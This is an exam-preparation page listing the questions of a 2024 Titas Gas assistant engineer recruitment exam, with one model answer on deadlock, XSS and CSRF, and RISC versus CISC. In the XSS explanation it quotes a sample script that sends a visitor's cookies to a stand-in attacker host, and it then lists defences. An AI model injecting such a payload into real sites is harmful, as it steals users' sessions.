Titas Gas Assistant Engineer Exam 24 May 2024 — Question Solution | তিতাস গ্যাস সহকারী প্রকৌশলী নিয়োগ পরীক্ষা ২০২৪ — প্রশ্ন সমাধান
- Titas Gas
- Assistant Engineer
- 24 May 2024
- 14 questions · 0 MCQ, 14 written
Page updated
ARBS Academy · itjobs.arbsacademy.com
About this exam paper · প্রশ্নপত্র পরিচিতি
The Titas Gas Assistant Engineer exam was held on 24 May 2024, conducted by BUET. The paper had 14 written questions. The subjects asked most were Cyber Security (2), Data Structures (2) and Networking (2). This page lists every question, with 1 answered and explained; the rest of the answers open with a free ARBS Academy account, where the paper can also be practised as a timed test.
তিতাস গ্যাস সহকারী প্রকৌশলী নিয়োগ পরীক্ষার (২০২৪) এই প্রশ্নপত্রে ১৪টি প্রশ্ন ছিল, বেশিরভাগ সাইবার নিরাপত্তা ও ডেটা স্ট্রাকচার থেকে। এখানে ১টি প্রশ্নের ব্যাখ্যাসহ উত্তর দেওয়া আছে; বাকিগুলো ফ্রি অ্যাকাউন্টে খোলে।
- Organisation
- Titas Gas
- Post
- Assistant Engineer
- Exam date
- 24 May 2024
- Conducted by
- BUET
- Questions
- 14 (0 MCQ, 14 written)
- Exam guide
- Government IT officer posts · সরকারি প্রতিষ্ঠানের আইটি পদ
- Cyber Security · সাইবার নিরাপত্তা 2
- Data Structures · ডেটা স্ট্রাকচার 2
- Networking · নেটওয়ার্কিং 2
- Operating Systems · অপারেটিং সিস্টেম 2
- Algorithms · অ্যালগরিদম 1
- Computer Architecture · কম্পিউটার আর্কিটেকচার 1
- Database · ডেটাবেজ 1
- General ICT · সাধারণ আইসিটি 1
- Programming · প্রোগ্রামিং 1
- Software Engineering · সফটওয়্যার ইঞ্জিনিয়ারিং 1
For each feature say whether it belongs to RISC or CISC.
| Feature |
|---|
| Easy to pipeline |
| Many addressing modes |
| Fixed instruction format |
| Denser, more memory-efficient code |
What is a page fault?
How can XSS and CSRF be prevented?
A traceroute from a Titas PC to marketplace.com shows hop 1 = Titas gateway, hop 8 = a transit router, hops 9–11 = * * *, hop 12 = marketplace.com. How many hops are there, and why the stars?
Sign up free to see the model answers to written questions 1–4 · উত্তর দেখতে বিনামূল্যে সাইন আপ করুন
(a) Explain Circular wait deadlock.
(b) Explain XSS and CSRF (how do you prevent these attacks).
(c) Fill in the gaps RISC or CISC:
- Pipelining is less efficient due to instruction complexity and variability ____
- Emphasis on hardware simplicity and efficiency ____
- Complex decoding due to variable instruction length ____
- Each instruction typically executes in a single clock cycle ____
Model answer
(a) Circular wait (deadlock)
Circular wait is the deadlock condition in which a closed chain of processes exists, each process holding at least one resource and waiting for a resource held by the next process in the chain: P0 waits for P1, P1 waits for P2, …, Pn waits for P0. Every process in the ring waits on another member of the ring, so none can finish and release what it holds, and all stay blocked forever.
flowchart LR
P1(("P1")) -->|"requests"| R2["R2: Scanner"]
R2 -->|"held by"| P2(("P2"))
P2 -->|"requests"| R1["R1: Printer"]
R1 -->|"held by"| P1
Example: P1 holds the printer and requests the scanner; P2 holds the scanner and requests the printer. The resource-allocation graph contains the cycle P1 → R2 → P2 → R1 → P1, so both wait forever.
- Circular wait is one of the four Coffman conditions (mutual exclusion, hold and wait, no preemption, circular wait). A deadlock occurs only when all four hold at the same time.
- In a resource-allocation graph it appears as a cycle. If every resource type has one instance, a cycle means deadlock; with several instances per type, a cycle is necessary but not sufficient.
- Prevention by resource ordering: number every resource type and let a process request resources only in increasing order. With printer = 1 and scanner = 2, both processes must ask for the printer first, so the cycle above can never form.
- Detection: search the wait-for graph for a cycle, then break it by aborting or preempting one process.
(b) XSS and CSRF
XSS (Cross-Site Scripting)
The attacker injects malicious JavaScript into a trusted website. When another user opens the page, the script runs in that user's browser with the site's privileges, so it can steal session cookies, capture keystrokes, change the page or send requests as the user.
- Stored XSS: the script is saved on the server (e.g. in a comment) and served to every visitor.
- Reflected XSS: the script travels in a URL or form parameter and is echoed back in the response.
- DOM-based XSS: client-side JavaScript writes untrusted data into the page.
Example comment: <script>new Image().src='https://evil.example/c?'+document.cookie</script>
Prevention:
- Context-aware output encoding: escape
<as<,>as>,"as"before inserting user data into HTML; use auto-escaping templates. - Validate input against allow-lists and clean any user-supplied HTML with a trusted sanitizer.
- Send a Content-Security-Policy header that blocks inline and unknown scripts.
- Mark session cookies HttpOnly (and Secure) so scripts cannot read them.
- Avoid dangerous sinks such as
innerHTMLandeval(); usetextContent.
CSRF (Cross-Site Request Forgery)
The attacker makes a logged-in user's browser send an unwanted, state-changing request to a site where the user is authenticated. The browser attaches the user's cookies automatically, so the server treats the forged request as genuine.
Example: the victim is logged in to a bank and opens the attacker's page, which auto-submits a hidden form to https://bank.example/transfer with to=attacker&amount=50000.
Prevention:
- Anti-CSRF (synchronizer) token: a random token in every form, checked by the server; the attacker's page cannot read it.
- SameSite cookies (
SameSite=LaxorStrict) so cookies are not sent on cross-site requests. - Check the Origin/Referer header of state-changing requests.
- Never change state with GET; use POST/PUT/DELETE (needed, but not enough on its own).
- Ask for re-authentication or an OTP before critical actions such as fund transfer.
| Point | XSS | CSRF |
|---|---|---|
| Trust abused | User's trust in the site | Site's trust in the user's browser |
| Attacker's code runs on the site? | Yes, in the victim's browser | No, only a forged request is sent |
| Can read the response? | Yes | No |
| Main defence | Output encoding + CSP | CSRF token + SameSite cookies |
An XSS hole can defeat CSRF protection, because injected script can read the CSRF token from the page.
(c) RISC or CISC
| # | Statement | Answer | Why |
|---|---|---|---|
| 1 | Pipelining is less efficient due to instruction complexity and variability | CISC | Instructions differ in length and take different numbers of cycles, so the pipeline stages cannot be kept evenly filled |
| 2 | Emphasis on hardware simplicity and efficiency | RISC | A small set of simple instructions, hardwired control; complexity is moved to the compiler |
| 3 | Complex decoding due to variable instruction length | CISC | The decoder must first work out where each instruction ends (x86 instructions are 1 to 15 bytes long) |
| 4 | Each instruction typically executes in a single clock cycle | RISC | Simple, fixed-length, register-to-register instructions finish in about one cycle (CPI ≈ 1) |
| Characteristic | RISC | CISC |
|---|---|---|
| Instruction set | Small, simple | Large, complex |
| Instruction length | Fixed (e.g., 32 bits) | Variable |
| Cycles per instruction | Mostly one | Several |
| Addressing modes | Few | Many |
| Memory access | Only LOAD/STORE | Many instructions use memory operands |
| Control unit | Hardwired | Mostly microprogrammed |
| Registers | Many general-purpose | Fewer |
| Pipelining | Easy and efficient | Harder |
| Code size | Larger | Smaller |
| Examples | ARM, MIPS, RISC-V | Intel x86, VAX |
Exam tip: circular wait = a closed cycle of "holds one, waits for the next"; XSS runs the attacker's script, CSRF only borrows the victim's session; RISC = simple, fixed and one cycle, CISC = rich, variable and hard to decode or pipeline.
Prove that in a proper binary tree, the number of external (leaf) nodes is one more than the number of internal nodes.
How to attack a DHCP server in a man-in-the-middle (MITM) attack?
Which Linux command shows the last 10 lines of a log file that is continuously updating?
Write the program below in a recursive way:
for(int i=1; i<n; i++)
for(int j=0; j<i; j++)
for(int k=0; k<i; k++)
X = X + 1;
Check whether the parentheses are correct: if they are written properly, show matched; if not, show unmatched.
Find sname who supplies pname="wheel" with minimum price:
- Catalog(sid, pid, price)
- Supplier(sid, sname, address)
- Product(pid, pname, etc)
Find the Boolean function F(A, B, C) implemented by the following 4×1 multiplexer:
- Data input I3 = A' (A through a NOT gate)
- Data input I2 = A
- Data input I1 = 1
- Data input I0 = 0
- Select line S1 = B
- Select line S0 = C
- Output = F(A, B, C)
A reduces to B in polynomial time. Which is better and why?
Software design table matching.......
Sign up free to see the model answers to written questions 6–14 · উত্তর দেখতে বিনামূল্যে সাইন আপ করুন
Explanations © ARBS Academy
Keep going with a free account · ফ্রি অ্যাকাউন্টে যা যা করতে পারবেন
13 more answers from this paper open with a free account.
এই প্রশ্নপত্রের আরও ১৩টি উত্তর, ধাপে ধাপে ব্যাখ্যাসহ, ফ্রি অ্যাকাউন্টে খুলবে।
Free account · 1 day of Premium free
Paper analysis · প্রশ্নপত্র বিশ্লেষণ
Its questions come from 13 syllabus chapters; the biggest is Attacks & Threats, in Cyber Security, with 2 questions. Attacks & Threats is asked in 81 other papers too (2012–2026).
Its biggest topics · প্রধান টপিক
Questions in this paper, and how many of our other papers ask the topic
- Attacks & Threats Cyber Security · 81 other papers, 2012–20262
- ER Model & Design Database · 101 other papers, 2015–20261
- Transmission & Media Networking · 79 other papers, 2012–20261
- CPU Organization Computer Architecture · 77 other papers, 2011–20261
- Computer Fundamentals General ICT · 76 other papers, 2011–20261
- Control Flow & Loops Programming · 76 other papers, 2015–20261
From our own past papers: each question filed under one syllabus chapter. Practice and held questions are not counted.
Questions about this paper · সাধারণ প্রশ্ন
- How many questions were in the Titas Gas Assistant Engineer exam (2024)?
- 14 written questions.
- Which subjects were asked most in the Titas Gas Assistant Engineer exam (2024)?
- Cyber Security (2), Data Structures (2) and Networking (2), out of 14 questions.
- When was the Titas Gas Assistant Engineer exam held?
- On 24 May 2024, conducted by BUET.
- Where can I find the Titas Gas Assistant Engineer exam (2024) question solution?
- On this page: 1 of the 14 questions are shown with worked answers. The rest of the answers open with a free ARBS Academy account, where the paper can also be practised as a timed test.
Question text is from the public recruitment exam; answers and explanations are written by ARBS Academy. All past papers